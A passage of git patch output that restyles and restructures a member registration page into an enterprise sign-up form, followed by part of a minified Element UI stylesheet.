+ border: 1px solid #e0e0e0; + border-radius: 4px; + cursor: pointer; + transition: all 0.3s; + } + .database-item:hover { + border-color: #007bff; + } + .database-item input[type="checkbox"] { + margin-right: 10px; + } + .certificate-upload { + padding: 15px; + background: #f8f9fa; + border-radius: 8px; + } + .certificate-title { + font-size: 16px; + font-weight: bold; + margin-bottom: 15px; + color: #333; + } + .upload-area { + border: 2px dashed #ddd; + padding: 20px; + text-align: center; + border-radius: 4px; + cursor: pointer; + } + .upload-area:hover { + border-color: #007bff; + } + .certificate-input { + display: none; + } + .upload-tip { + font-size: 12px; + color: #666; + margin-top: 10px; + } @endsection From 86ef2f2fef7984a2f258839d6788d19696a06ffc Mon Sep 17 00:00:00 2001 From: finalxcode Date: Sat, 17 May 2025 21:02:53 +0800 Subject: [PATCH 12/68] init --- module/Member/View/pc/register.blade.php | 456 +++++++++++++++++++---- 1 file changed, 386 insertions(+), 70 deletions(-) diff --git a/module/Member/View/pc/register.blade.php b/module/Member/View/pc/register.blade.php index 0adb30d0..5bc0c07a 100644 --- a/module/Member/View/pc/register.blade.php +++ b/module/Member/View/pc/register.blade.php @@ -415,97 +415,213 @@ -
-
- + +
+
填写账号信息
+
注:"*"为必填项
+ +
+
+ +
+ +
+
-
-
-
- + +
+
+ +
+ +
不支持汉字,不能以数字开头;建议使用公司名的字母缩写
+
+
-
-
-
- + +
+
+ +
+ +
密码由6-20个英文字母(区分大小写)或数字组成
+
+
-
-
-
- + +
+
+ +
+ +
+
- @include('module::Member.View.pc.inc.registerCaptcha') - @if(modstart_config('registerPhoneEnable')) + +
+
公司基本信息
+
含个体工商户,请认真地填写以下信息,严肃的商业信息有助于您获得别人的信任!
+
-
-
- -
-
- - - -
+ +
+
+
- + +
+ +
- @endif -
-
- + +
+
+ +
+ +
+
-
-
-
- + +
+
+ +
+ +
+
+
+ +
+
+ +
+ +
+
-
-
-
-
选择自己喜欢的运动
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - + +
+
联系信息
+ +
+
+ +
+ +
+
+
+ +
+
+ +
+ +
+
+
+ +
+
+ +
+ +
+
+
+ +
+
+ +
+ +
+
+
+ +
+
+ +
+ +
+
+
+ +
+
+ +
+ +
+
+
+ +
+
+ +
+ +
+
+
+ +
+
+ +
+
- @foreach(\Module\Member\Provider\RegisterProcessor\MemberRegisterProcessorProvider::listAll() as $provider) - {!! $provider->render() !!} - @endforeach + + @include('module::Member.View.pc.inc.registerCaptcha') + @if(modstart_config('registerPhoneEnable')) +
+
+ +
+ + + + +
+
+
+ @endif +
@@ -704,5 +820,205 @@ color: #666; margin-top: 10px; } + + /* Enterprise form styles */ + .enterprise-welcome { + background: #f8f9fa; + border-radius: 8px; + padding: 20px; + margin-bottom: 30px; + } + .enterprise-welcome h3 { + font-size: 18px; + color: #333; + margin-bottom: 10px; + } + .enterprise-welcome p { + font-size: 14px; + color: #666; + line-height: 1.6; + } + .form-section { + margin-bottom: 30px; + padding: 20px; + background: #fff; + border: 1px solid #e0e0e0; + border-radius: 8px; + } + .section-title { + font-size: 18px; + font-weight: bold; + color: #333; + margin-bottom: 15px; + padding-bottom: 10px; + border-bottom: 1px solid #e0e0e0; + } + .section-note { + font-size: 14px; + color: #666; + margin-bottom: 20px; + } + .field label { + display: block; + margin-bottom: 8px; + font-weight: 500; + color: #333; + } + .field-help { + font-size: 12px; + color: #666; + margin-top: 4px; + } + .required { + color: #ff4d4f; + margin-left: 4px; + } + select.form-lg { + height: 40px; + width: 100%; + padding: 8px 12px; + border: 1px solid #ddd; + border-radius: 4px; + background-color: #fff; + } + textarea.form-lg { + width: 100%; + padding: 8px 12px; + border: 1px solid #ddd; + border-radius: 4px; + resize: vertical; + } + + /* 基础表单样式 */ + .register-form { + max-width: 800px; + margin: 0 auto; + } + + /* 表单项容器 */ + .line { + margin-bottom: 20px; + } + + /* 表单字段样式 */ + .field { + position: relative; + } + + /* 标签样式 */ + .field label { + display: inline-block; + width: 120px; + text-align: right; + padding-right: 15px; + color: #333; + font-size: 14px; + line-height: 40px; + vertical-align: top; + } + + /* 必填星号 */ + .required { + color: #ff4d4f; + margin-right: 4px; + font-family: SimSun; + font-size: 14px; + } + + /* 输入框容器 */ + .field-content { + display: inline-block; + width: calc(100% - 125px); + vertical-align: middle; + } + + /* 输入框样式 */ + .form-lg { + width: 100%; + height: 40px; + padding: 8px 12px; + font-size: 14px; + border: 1px solid #dcdee2; + border-radius: 4px; + transition: all .3s; + } + + .form-lg:hover { + border-color: #57a3f3; + } + + .form-lg:focus { + border-color: #57a3f3; + outline: none; + box-shadow: 0 0 0 2px rgba(45,140,240,.2); + } + + /* 帮助文本 */ + .field-help { + margin-left: 120px; + margin-top: 4px; + color: #999; + font-size: 12px; + } + + /* 表单分组样式 */ + .form-group { + background: #fff; + border-radius: 8px; + padding: 20px; + margin-bottom: 30px; + box-shadow: 0 1px 3px rgba(0,0,0,.1); + } + + .form-group-title { + font-size: 16px; + font-weight: 500; + color: #17233d; + margin-bottom: 20px; + padding-bottom: 15px; + border-bottom: 1px solid #e8eaec; + } + + .form-group-subtitle { + font-size: 12px; + color: #808695; + margin: -15px 0 20px; + } + + /* 下拉框样式 */ + select.form-lg { + appearance: none; + background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 12 12'%3E%3Cpath fill='%23999' d='M6 8.825L1.175 4 2.238 2.938 6 6.7l3.763-3.762L10.825 4z'/%3E%3C/svg%3E"); + background-repeat: no-repeat; + background-position: right 8px center; + padding-right: 24px; + } + + /* 文本域样式 */ + textarea.form-lg { + min-height: 100px; + resize: vertical; + } + + /* 按钮样式优化 */ + .btn-block { + margin-left: 120px; + width: calc(100% - 120px); + } + + /* 验证码区域样式 */ + .captcha-group { + display: flex; + gap: 10px; + } + + .captcha-group input { + flex: 1; + } + + .captcha-group button { + width: 120px; + white-space: nowrap; + } @endsection From 8d31d30eb247cac1f03d7be25dd73d2dada5575e Mon Sep 17 00:00:00 2001 From: finalxcode Date: Sat, 17 May 2025 21:13:03 +0800 Subject: [PATCH 13/68] init --- module/Member/View/pc/register.blade.php | 31 +- public/asset/theme/default/style.css | 31328 ++++++++++++++++++++- 2 files changed, 31346 insertions(+), 13 deletions(-) diff --git a/module/Member/View/pc/register.blade.php b/module/Member/View/pc/register.blade.php index 5bc0c07a..50299927 100644 --- a/module/Member/View/pc/register.blade.php +++ b/module/Member/View/pc/register.blade.php @@ -898,38 +898,41 @@ /* 表单项容器 */ .line { margin-bottom: 20px; + display: flex; + align-items: flex-start; } /* 表单字段样式 */ .field { position: relative; + width: 100%; + display: flex; + align-items: flex-start; } /* 标签样式 */ .field label { - display: inline-block; width: 120px; - text-align: right; - padding-right: 15px; color: #333; font-size: 14px; line-height: 40px; - vertical-align: top; + flex-shrink: 0; + text-align: left; + padding-right: 15px; } /* 必填星号 */ .required { color: #ff4d4f; - margin-right: 4px; + margin-right: 2px; font-family: SimSun; font-size: 14px; } /* 输入框容器 */ .field-content { - display: inline-block; - width: calc(100% - 125px); - vertical-align: middle; + flex: 1; + min-width: 0; } /* 输入框样式 */ @@ -941,6 +944,7 @@ border: 1px solid #dcdee2; border-radius: 4px; transition: all .3s; + background: #fff; } .form-lg:hover { @@ -955,7 +959,6 @@ /* 帮助文本 */ .field-help { - margin-left: 120px; margin-top: 4px; color: #999; font-size: 12px; @@ -964,10 +967,8 @@ /* 表单分组样式 */ .form-group { background: #fff; - border-radius: 8px; padding: 20px; margin-bottom: 30px; - box-shadow: 0 1px 3px rgba(0,0,0,.1); } .form-group-title { @@ -1020,5 +1021,13 @@ width: 120px; white-space: nowrap; } + + /* 注册说明文本 */ + .register-note { + color: #999; + font-size: 12px; + margin-top: 30px; + text-align: center; + } @endsection diff --git a/public/asset/theme/default/style.css b/public/asset/theme/default/style.css index cc2f2110..9a4b0b60 100644 --- a/public/asset/theme/default/style.css +++ b/public/asset/theme/default/style.css @@ -1,7 +1,31331 @@ -@charset "UTF-8";.el-pagination--small .arrow.disabled,.el-table .hidden-columns,.el-table td.is-hidden>*,.el-table th.is-hidden>*,.el-table--hidden{visibility:hidden}.el-input__suffix,.el-tree.is-dragging .el-tree-node__content *{pointer-events:none}.el-dropdown .el-dropdown-selfdefine:focus:active,.el-dropdown .el-dropdown-selfdefine:focus:not(.focusing),.el-message__closeBtn:focus,.el-message__content:focus,.el-popover:focus,.el-popover:focus:active,.el-popover__reference:focus:hover,.el-popover__reference:focus:not(.focusing),.el-rate:active,.el-rate:focus,.el-tooltip:focus:hover,.el-tooltip:focus:not(.focusing),.el-upload-list__item.is-success:active,.el-upload-list__item.is-success:not(.focusing):focus{outline-width:0}@font-face{font-family:element-icons;src:url(../../vendor/element-ui/fonts/element-icons.woff) format("woff"),url(../../vendor/element-ui/fonts/element-icons.ttf) format("truetype");font-weight:400;font-display:auto;font-style:normal}[class*=" el-icon-"],[class^=el-icon-]{font-family:element-icons!important;speak:none;font-style:normal;font-weight:400;font-variant:normal;text-transform:none;line-height:1;vertical-align:baseline;display:inline-block;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.el-icon-ice-cream-round:before{content:"\e6a0"}.el-icon-ice-cream-square:before{content:"\e6a3"}.el-icon-lollipop:before{content:"\e6a4"}.el-icon-potato-strips:before{content:"\e6a5"}.el-icon-milk-tea:before{content:"\e6a6"}.el-icon-ice-drink:before{content:"\e6a7"}.el-icon-ice-tea:before{content:"\e6a9"}.el-icon-coffee:before{content:"\e6aa"}.el-icon-orange:before{content:"\e6ab"}.el-icon-pear:before{content:"\e6ac"}.el-icon-apple:before{content:"\e6ad"}.el-icon-cherry:before{content:"\e6ae"}.el-icon-watermelon:before{content:"\e6af"}.el-icon-grape:before{content:"\e6b0"}.el-icon-refrigerator:before{content:"\e6b1"}.el-icon-goblet-square-full:before{content:"\e6b2"}.el-icon-goblet-square:before{content:"\e6b3"}.el-icon-goblet-full:before{content:"\e6b4"}.el-icon-goblet:before{content:"\e6b5"}.el-icon-cold-drink:before{content:"\e6b6"}.el-icon-coffee-cup:before{content:"\e6b8"}.el-icon-water-cup:before{content:"\e6b9"}.el-icon-hot-water:before{content:"\e6ba"}.el-icon-ice-cream:before{content:"\e6bb"}.el-icon-dessert:before{content:"\e6bc"}.el-icon-sugar:before{content:"\e6bd"}.el-icon-tableware:before{content:"\e6be"}.el-icon-burger:before{content:"\e6bf"}.el-icon-knife-fork:before{content:"\e6c1"}.el-icon-fork-spoon:before{content:"\e6c2"}.el-icon-chicken:before{content:"\e6c3"}.el-icon-food:before{content:"\e6c4"}.el-icon-dish-1:before{content:"\e6c5"}.el-icon-dish:before{content:"\e6c6"}.el-icon-moon-night:before{content:"\e6ee"}.el-icon-moon:before{content:"\e6f0"}.el-icon-cloudy-and-sunny:before{content:"\e6f1"}.el-icon-partly-cloudy:before{content:"\e6f2"}.el-icon-cloudy:before{content:"\e6f3"}.el-icon-sunny:before{content:"\e6f6"}.el-icon-sunset:before{content:"\e6f7"}.el-icon-sunrise-1:before{content:"\e6f8"}.el-icon-sunrise:before{content:"\e6f9"}.el-icon-heavy-rain:before{content:"\e6fa"}.el-icon-lightning:before{content:"\e6fb"}.el-icon-light-rain:before{content:"\e6fc"}.el-icon-wind-power:before{content:"\e6fd"}.el-icon-baseball:before{content:"\e712"}.el-icon-soccer:before{content:"\e713"}.el-icon-football:before{content:"\e715"}.el-icon-basketball:before{content:"\e716"}.el-icon-ship:before{content:"\e73f"}.el-icon-truck:before{content:"\e740"}.el-icon-bicycle:before{content:"\e741"}.el-icon-mobile-phone:before{content:"\e6d3"}.el-icon-service:before{content:"\e6d4"}.el-icon-key:before{content:"\e6e2"}.el-icon-unlock:before{content:"\e6e4"}.el-icon-lock:before{content:"\e6e5"}.el-icon-watch:before{content:"\e6fe"}.el-icon-watch-1:before{content:"\e6ff"}.el-icon-timer:before{content:"\e702"}.el-icon-alarm-clock:before{content:"\e703"}.el-icon-map-location:before{content:"\e704"}.el-icon-delete-location:before{content:"\e705"}.el-icon-add-location:before{content:"\e706"}.el-icon-location-information:before{content:"\e707"}.el-icon-location-outline:before{content:"\e708"}.el-icon-location:before{content:"\e79e"}.el-icon-place:before{content:"\e709"}.el-icon-discover:before{content:"\e70a"}.el-icon-first-aid-kit:before{content:"\e70b"}.el-icon-trophy-1:before{content:"\e70c"}.el-icon-trophy:before{content:"\e70d"}.el-icon-medal:before{content:"\e70e"}.el-icon-medal-1:before{content:"\e70f"}.el-icon-stopwatch:before{content:"\e710"}.el-icon-mic:before{content:"\e711"}.el-icon-copy-document:before{content:"\e718"}.el-icon-full-screen:before{content:"\e719"}.el-icon-switch-button:before{content:"\e71b"}.el-icon-aim:before{content:"\e71c"}.el-icon-crop:before{content:"\e71d"}.el-icon-odometer:before{content:"\e71e"}.el-icon-time:before{content:"\e71f"}.el-icon-bangzhu:before{content:"\e724"}.el-icon-close-notification:before{content:"\e726"}.el-icon-microphone:before{content:"\e727"}.el-icon-turn-off-microphone:before{content:"\e728"}.el-icon-position:before{content:"\e729"}.el-icon-postcard:before{content:"\e72a"}.el-icon-message:before{content:"\e72b"}.el-icon-chat-line-square:before{content:"\e72d"}.el-icon-chat-dot-square:before{content:"\e72e"}.el-icon-chat-dot-round:before{content:"\e72f"}.el-icon-chat-square:before{content:"\e730"}.el-icon-chat-line-round:before{content:"\e731"}.el-icon-chat-round:before{content:"\e732"}.el-icon-set-up:before{content:"\e733"}.el-icon-turn-off:before{content:"\e734"}.el-icon-open:before{content:"\e735"}.el-icon-connection:before{content:"\e736"}.el-icon-link:before{content:"\e737"}.el-icon-cpu:before{content:"\e738"}.el-icon-thumb:before{content:"\e739"}.el-icon-female:before{content:"\e73a"}.el-icon-male:before{content:"\e73b"}.el-icon-guide:before{content:"\e73c"}.el-icon-news:before{content:"\e73e"}.el-icon-price-tag:before{content:"\e744"}.el-icon-discount:before{content:"\e745"}.el-icon-wallet:before{content:"\e747"}.el-icon-coin:before{content:"\e748"}.el-icon-money:before{content:"\e749"}.el-icon-bank-card:before{content:"\e74a"}.el-icon-box:before{content:"\e74b"}.el-icon-present:before{content:"\e74c"}.el-icon-sell:before{content:"\e6d5"}.el-icon-sold-out:before{content:"\e6d6"}.el-icon-shopping-bag-2:before{content:"\e74d"}.el-icon-shopping-bag-1:before{content:"\e74e"}.el-icon-shopping-cart-2:before{content:"\e74f"}.el-icon-shopping-cart-1:before{content:"\e750"}.el-icon-shopping-cart-full:before{content:"\e751"}.el-icon-smoking:before{content:"\e752"}.el-icon-no-smoking:before{content:"\e753"}.el-icon-house:before{content:"\e754"}.el-icon-table-lamp:before{content:"\e755"}.el-icon-school:before{content:"\e756"}.el-icon-office-building:before{content:"\e757"}.el-icon-toilet-paper:before{content:"\e758"}.el-icon-notebook-2:before{content:"\e759"}.el-icon-notebook-1:before{content:"\e75a"}.el-icon-files:before{content:"\e75b"}.el-icon-collection:before{content:"\e75c"}.el-icon-receiving:before{content:"\e75d"}.el-icon-suitcase-1:before{content:"\e760"}.el-icon-suitcase:before{content:"\e761"}.el-icon-film:before{content:"\e763"}.el-icon-collection-tag:before{content:"\e765"}.el-icon-data-analysis:before{content:"\e766"}.el-icon-pie-chart:before{content:"\e767"}.el-icon-data-board:before{content:"\e768"}.el-icon-data-line:before{content:"\e76d"}.el-icon-reading:before{content:"\e769"}.el-icon-magic-stick:before{content:"\e76a"}.el-icon-coordinate:before{content:"\e76b"}.el-icon-mouse:before{content:"\e76c"}.el-icon-brush:before{content:"\e76e"}.el-icon-headset:before{content:"\e76f"}.el-icon-umbrella:before{content:"\e770"}.el-icon-scissors:before{content:"\e771"}.el-icon-mobile:before{content:"\e773"}.el-icon-attract:before{content:"\e774"}.el-icon-monitor:before{content:"\e775"}.el-icon-search:before{content:"\e778"}.el-icon-takeaway-box:before{content:"\e77a"}.el-icon-paperclip:before{content:"\e77d"}.el-icon-printer:before{content:"\e77e"}.el-icon-document-add:before{content:"\e782"}.el-icon-document:before{content:"\e785"}.el-icon-document-checked:before{content:"\e786"}.el-icon-document-copy:before{content:"\e787"}.el-icon-document-delete:before{content:"\e788"}.el-icon-document-remove:before{content:"\e789"}.el-icon-tickets:before{content:"\e78b"}.el-icon-folder-checked:before{content:"\e77f"}.el-icon-folder-delete:before{content:"\e780"}.el-icon-folder-remove:before{content:"\e781"}.el-icon-folder-add:before{content:"\e783"}.el-icon-folder-opened:before{content:"\e784"}.el-icon-folder:before{content:"\e78a"}.el-icon-edit-outline:before{content:"\e764"}.el-icon-edit:before{content:"\e78c"}.el-icon-date:before{content:"\e78e"}.el-icon-c-scale-to-original:before{content:"\e7c6"}.el-icon-view:before{content:"\e6ce"}.el-icon-loading:before{content:"\e6cf"}.el-icon-rank:before{content:"\e6d1"}.el-icon-sort-down:before{content:"\e7c4"}.el-icon-sort-up:before{content:"\e7c5"}.el-icon-sort:before{content:"\e6d2"}.el-icon-finished:before{content:"\e6cd"}.el-icon-refresh-left:before{content:"\e6c7"}.el-icon-refresh-right:before{content:"\e6c8"}.el-icon-refresh:before{content:"\e6d0"}.el-icon-video-play:before{content:"\e7c0"}.el-icon-video-pause:before{content:"\e7c1"}.el-icon-d-arrow-right:before{content:"\e6dc"}.el-icon-d-arrow-left:before{content:"\e6dd"}.el-icon-arrow-up:before{content:"\e6e1"}.el-icon-arrow-down:before{content:"\e6df"}.el-icon-arrow-right:before{content:"\e6e0"}.el-icon-arrow-left:before{content:"\e6de"}.el-icon-top-right:before{content:"\e6e7"}.el-icon-top-left:before{content:"\e6e8"}.el-icon-top:before{content:"\e6e6"}.el-icon-bottom:before{content:"\e6eb"}.el-icon-right:before{content:"\e6e9"}.el-icon-back:before{content:"\e6ea"}.el-icon-bottom-right:before{content:"\e6ec"}.el-icon-bottom-left:before{content:"\e6ed"}.el-icon-caret-top:before{content:"\e78f"}.el-icon-caret-bottom:before{content:"\e790"}.el-icon-caret-right:before{content:"\e791"}.el-icon-caret-left:before{content:"\e792"}.el-icon-d-caret:before{content:"\e79a"}.el-icon-share:before{content:"\e793"}.el-icon-menu:before{content:"\e798"}.el-icon-s-grid:before{content:"\e7a6"}.el-icon-s-check:before{content:"\e7a7"}.el-icon-s-data:before{content:"\e7a8"}.el-icon-s-opportunity:before{content:"\e7aa"}.el-icon-s-custom:before{content:"\e7ab"}.el-icon-s-claim:before{content:"\e7ad"}.el-icon-s-finance:before{content:"\e7ae"}.el-icon-s-comment:before{content:"\e7af"}.el-icon-s-flag:before{content:"\e7b0"}.el-icon-s-marketing:before{content:"\e7b1"}.el-icon-s-shop:before{content:"\e7b4"}.el-icon-s-open:before{content:"\e7b5"}.el-icon-s-management:before{content:"\e7b6"}.el-icon-s-ticket:before{content:"\e7b7"}.el-icon-s-release:before{content:"\e7b8"}.el-icon-s-home:before{content:"\e7b9"}.el-icon-s-promotion:before{content:"\e7ba"}.el-icon-s-operation:before{content:"\e7bb"}.el-icon-s-unfold:before{content:"\e7bc"}.el-icon-s-fold:before{content:"\e7a9"}.el-icon-s-platform:before{content:"\e7bd"}.el-icon-s-order:before{content:"\e7be"}.el-icon-s-cooperation:before{content:"\e7bf"}.el-icon-bell:before{content:"\e725"}.el-icon-message-solid:before{content:"\e799"}.el-icon-video-camera:before{content:"\e772"}.el-icon-video-camera-solid:before{content:"\e796"}.el-icon-camera:before{content:"\e779"}.el-icon-camera-solid:before{content:"\e79b"}.el-icon-download:before{content:"\e77c"}.el-icon-upload2:before{content:"\e77b"}.el-icon-upload:before{content:"\e7c3"}.el-icon-picture-outline-round:before{content:"\e75f"}.el-icon-picture-outline:before{content:"\e75e"}.el-icon-picture:before{content:"\e79f"}.el-icon-close:before{content:"\e6db"}.el-icon-check:before{content:"\e6da"}.el-icon-plus:before{content:"\e6d9"}.el-icon-minus:before{content:"\e6d8"}.el-icon-help:before{content:"\e73d"}.el-icon-s-help:before{content:"\e7b3"}.el-icon-circle-close:before{content:"\e78d"}.el-icon-circle-check:before{content:"\e720"}.el-icon-circle-plus-outline:before{content:"\e723"}.el-icon-remove-outline:before{content:"\e722"}.el-icon-zoom-out:before{content:"\e776"}.el-icon-zoom-in:before{content:"\e777"}.el-icon-error:before{content:"\e79d"}.el-icon-success:before{content:"\e79c"}.el-icon-circle-plus:before{content:"\e7a0"}.el-icon-remove:before{content:"\e7a2"}.el-icon-info:before{content:"\e7a1"}.el-icon-question:before{content:"\e7a4"}.el-icon-warning-outline:before{content:"\e6c9"}.el-icon-warning:before{content:"\e7a3"}.el-icon-goods:before{content:"\e7c2"}.el-icon-s-goods:before{content:"\e7b2"}.el-icon-star-off:before{content:"\e717"}.el-icon-star-on:before{content:"\e797"}.el-icon-more-outline:before{content:"\e6cc"}.el-icon-more:before{content:"\e794"}.el-icon-phone-outline:before{content:"\e6cb"}.el-icon-phone:before{content:"\e795"}.el-icon-user:before{content:"\e6e3"}.el-icon-user-solid:before{content:"\e7a5"}.el-icon-setting:before{content:"\e6ca"}.el-icon-s-tools:before{content:"\e7ac"}.el-icon-delete:before{content:"\e6d7"}.el-icon-delete-solid:before{content:"\e7c9"}.el-icon-eleme:before{content:"\e7c7"}.el-icon-platform-eleme:before{content:"\e7ca"}.el-icon-loading{-webkit-animation:rotating 2s linear infinite;animation:rotating 2s linear infinite}.el-icon--right{margin-left:5px}.el-icon--left{margin-right:5px}@-webkit-keyframes rotating{0%{-webkit-transform:rotateZ(0);transform:rotateZ(0)}100%{-webkit-transform:rotateZ(360deg);transform:rotateZ(360deg)}}@keyframes rotating{0%{-webkit-transform:rotateZ(0);transform:rotateZ(0)}100%{-webkit-transform:rotateZ(360deg);transform:rotateZ(360deg)}}.el-pagination{white-space:nowrap;padding:2px 5px;color:#303133;font-weight:700}.el-pagination::after,.el-pagination::before{display:table;content:""}.el-pagination::after{clear:both}.el-pagination button,.el-pagination span:not([class*=suffix]){display:inline-block;font-size:13px;min-width:35.5px;height:28px;line-height:28px;vertical-align:top;-webkit-box-sizing:border-box;box-sizing:border-box}.el-pagination .el-input__inner{text-align:center;-moz-appearance:textfield;line-height:normal}.el-pagination .el-input__suffix{right:0;-webkit-transform:scale(.8);transform:scale(.8)}.el-pagination .el-select .el-input{width:100px;margin:0 5px}.el-pagination .el-select .el-input .el-input__inner{padding-right:25px;border-radius:3px}.el-pagination button{border:none;padding:0 6px;background:0 0}.el-pagination button:focus{outline:0}.el-pagination button:hover{color:var(--color-primary,#419488)}.el-pagination button:disabled{color:#c0c4cc;background-color:#fff;cursor:not-allowed}.el-pagination .btn-next,.el-pagination .btn-prev{background:center center no-repeat #fff;background-size:16px;cursor:pointer;margin:0;color:#303133}.el-pagination .btn-next .el-icon,.el-pagination .btn-prev .el-icon{display:block;font-size:12px;font-weight:700}.el-pagination .btn-prev{padding-right:12px}.el-pagination .btn-next{padding-left:12px}.el-pagination .el-pager li.disabled{color:#c0c4cc;cursor:not-allowed}.el-pager li,.el-pager li.btn-quicknext:hover,.el-pager li.btn-quickprev:hover{cursor:pointer}.el-pagination--small .btn-next,.el-pagination--small .btn-prev,.el-pagination--small .el-pager li,.el-pagination--small .el-pager li.btn-quicknext,.el-pagination--small .el-pager li.btn-quickprev,.el-pagination--small .el-pager li:last-child{border-color:transparent;font-size:12px;line-height:22px;height:22px;min-width:22px}.el-pagination--small .more::before,.el-pagination--small li.more::before{line-height:24px}.el-pagination--small button,.el-pagination--small span:not([class*=suffix]){height:22px;line-height:22px}.el-pagination--small .el-pagination__editor,.el-pagination--small .el-pagination__editor.el-input .el-input__inner{height:22px}.el-pagination__sizes{margin:0 10px 0 0;font-weight:400;color:#606266}.el-pagination__sizes .el-input .el-input__inner{font-size:13px;padding-left:8px}.el-pagination__sizes .el-input .el-input__inner:hover{border-color:var(--color-primary,#419488)}.el-pagination__total{margin-right:10px;font-weight:400;color:#606266}.el-pagination__jump{margin-left:24px;font-weight:400;color:#606266}.el-pagination__jump .el-input__inner{padding:0 3px}.el-pagination__rightwrapper{float:right}.el-pagination__editor{line-height:18px;padding:0 2px;height:28px;text-align:center;margin:0 2px;-webkit-box-sizing:border-box;box-sizing:border-box;border-radius:3px}.el-pager,.el-pagination.is-background .btn-next,.el-pagination.is-background .btn-prev{padding:0}.el-pagination__editor.el-input{width:50px}.el-pagination__editor.el-input .el-input__inner{height:28px}.el-pagination__editor .el-input__inner::-webkit-inner-spin-button,.el-pagination__editor .el-input__inner::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}.el-pagination.is-background .btn-next,.el-pagination.is-background .btn-prev,.el-pagination.is-background .el-pager li{margin:0 5px;background-color:#f4f4f5;color:#606266;min-width:30px;border-radius:2px}.el-pagination.is-background .btn-next.disabled,.el-pagination.is-background .btn-next:disabled,.el-pagination.is-background .btn-prev.disabled,.el-pagination.is-background .btn-prev:disabled,.el-pagination.is-background .el-pager li.disabled{color:#c0c4cc}.el-pagination.is-background .el-pager li:not(.disabled):hover{color:var(--color-primary,#419488)}.el-pagination.is-background .el-pager li:not(.disabled).active{background-color:var(--color-primary,#419488);color:#fff}.el-dialog,.el-pager li{background:#fff;-webkit-box-sizing:border-box}.el-pagination.is-background.el-pagination--small .btn-next,.el-pagination.is-background.el-pagination--small .btn-prev,.el-pagination.is-background.el-pagination--small .el-pager li{margin:0 3px;min-width:22px}.el-pager,.el-pager li{vertical-align:top;margin:0;display:inline-block}.el-pager{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;list-style:none;font-size:0}.el-date-table,.el-table th{-webkit-user-select:none;-moz-user-select:none}.el-pager .more::before{line-height:30px}.el-pager li{padding:0 4px;font-size:13px;min-width:35.5px;height:28px;line-height:28px;box-sizing:border-box;text-align:center}.el-menu--collapse .el-menu .el-submenu,.el-menu--popup{min-width:200px}.el-pager li.btn-quicknext,.el-pager li.btn-quickprev{line-height:28px;color:#303133}.el-pager li.btn-quicknext.disabled,.el-pager li.btn-quickprev.disabled{color:#c0c4cc}.el-pager li.active+li{border-left:0}.el-pager li:hover{color:var(--color-primary,#419488)}.el-pager li.active{color:var(--color-primary,#419488);cursor:default}@-webkit-keyframes v-modal-in{0%{opacity:0}}@-webkit-keyframes v-modal-out{100%{opacity:0}}.el-dialog{position:relative;margin:0 auto 50px;border-radius:2px;-webkit-box-shadow:0 1px 3px rgba(0,0,0,.3);box-shadow:0 1px 3px rgba(0,0,0,.3);box-sizing:border-box;width:50%}.el-dialog.is-fullscreen{width:100%;margin-top:0;margin-bottom:0;height:100%;overflow:auto}.el-dialog__wrapper{position:fixed;top:0;right:0;bottom:0;left:0;overflow:auto;margin:0}.el-dialog__header{padding:20px 20px 10px}.el-dialog__headerbtn{position:absolute;top:20px;right:20px;padding:0;background:0 0;border:none;outline:0;cursor:pointer;font-size:16px}.el-dialog__headerbtn .el-dialog__close{color:#909399}.el-dialog__headerbtn:focus .el-dialog__close,.el-dialog__headerbtn:hover .el-dialog__close{color:var(--color-primary,#419488)}.el-dialog__title{line-height:24px;font-size:18px;color:#303133}.el-dialog__body{padding:30px 20px;color:#606266;font-size:14px;word-break:break-all}.el-dialog__footer{padding:10px 20px 20px;text-align:right;-webkit-box-sizing:border-box;box-sizing:border-box}.el-dialog--center{text-align:center}.el-dialog--center .el-dialog__body{text-align:initial;padding:25px 25px 30px}.el-dialog--center .el-dialog__footer{text-align:inherit}.dialog-fade-enter-active{-webkit-animation:dialog-fade-in .3s;animation:dialog-fade-in .3s}.dialog-fade-leave-active{-webkit-animation:dialog-fade-out .3s;animation:dialog-fade-out .3s}@-webkit-keyframes dialog-fade-in{0%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes dialog-fade-in{0%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@-webkit-keyframes dialog-fade-out{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}100%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0}}@keyframes dialog-fade-out{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}100%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0}}.el-autocomplete{position:relative;display:inline-block}.el-autocomplete-suggestion{margin:5px 0;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,.1);box-shadow:0 2px 12px 0 rgba(0,0,0,.1);border-radius:4px;border:1px solid #e4e7ed;-webkit-box-sizing:border-box;box-sizing:border-box;background-color:#fff}.el-dropdown-menu,.el-menu--collapse .el-submenu .el-menu{z-index:10;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,.1)}.el-autocomplete-suggestion__wrap{max-height:280px;padding:10px 0;-webkit-box-sizing:border-box;box-sizing:border-box}.el-autocomplete-suggestion__list{margin:0;padding:0}.el-autocomplete-suggestion li{padding:0 20px;margin:0;line-height:34px;cursor:pointer;color:#606266;font-size:14px;list-style:none;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.el-autocomplete-suggestion li.highlighted,.el-autocomplete-suggestion li:hover{background-color:#f5f7fa}.el-autocomplete-suggestion li.divider{margin-top:6px;border-top:1px solid #000}.el-autocomplete-suggestion li.divider:last-child{margin-bottom:-6px}.el-autocomplete-suggestion.is-loading li{text-align:center;height:100px;line-height:100px;font-size:20px;color:#999}.el-autocomplete-suggestion.is-loading li::after{display:inline-block;content:"";height:100%;vertical-align:middle}.el-autocomplete-suggestion.is-loading li:hover{background-color:#fff}.el-autocomplete-suggestion.is-loading 